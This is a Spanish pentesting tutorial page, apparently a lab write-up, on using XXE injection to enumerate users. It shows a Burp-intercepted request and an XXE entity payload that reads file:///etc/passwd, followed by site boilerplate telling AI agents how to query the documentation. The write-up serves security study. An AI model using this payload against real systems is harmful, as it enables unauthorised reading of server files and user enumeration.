> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-user-enumeration-pentesting-web.md).

# Enumeración de usuarios con XXE

## XXE (Inyección de entidades externas XML):

<figure><img src="/files/b89bec50be9d76f3695a185ff1c4ead462af82ee" alt=""><figcaption></figcaption></figure>

#### Análisis del código fuente (estructura XML) interceptado con Burp Suite

<figure><img src="/files/b108f09638e3c68143b7cd6d2b1efe830a6cbde2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fcdab99b96fbc3bef1899d559577c365ab7e7a32" alt=""><figcaption></figcaption></figure>

#### Intento de ataque XXE (inyección de entidades externas XML)

* Modificación del método de la solicitud de GET a POST.

<figure><img src="/files/9696ea68c962451387b2a96c4e46d3a018e3fc1d" alt=""><figcaption></figcaption></figure>

* Prueba de inyección de un modelo de impresora XXE en la solicitud POST.

<pre class="language-xml"><code class="lang-xml">&#x3C;creds>
<strong>	&#x3C;customer>
</strong>		Jordan
	&#x3C;/customer>
	&#x3C;password>
		jordan123
	&#x3C;/password>
&#x3C;/creds>
</code></pre>

* Observación de la forma en que el servidor interpreta el modelo de impresora XXE.

<figure><img src="/files/799cd00de4ffe347b0e3ffaeeea320f26a2b407a" alt=""><figcaption></figcaption></figure>

* Para acceder al sistema de archivos, debemos crear una nueva **entidad**, por ejemplo, "myFile", de la siguiente manera: `<!DOCTYPE foo [<!ENTITY myFile SYSTEM "file:///etc/passwd">]>` Entonces, en una variable, debemos publicar el resultado con "**/\&myFile**" así:

<figure><img src="/files/108c7ff95defe837dc9c84b459d16396cff8a96b" alt=""><figcaption></figcaption></figure>

#### Identificación de un usuario "ftpUserULTRA

<figure><img src="/files/745137b6360d9e100a912365d5fd54dcc6084524" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-xml-external-entity-injection-xxe/xxe-user-enumeration-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
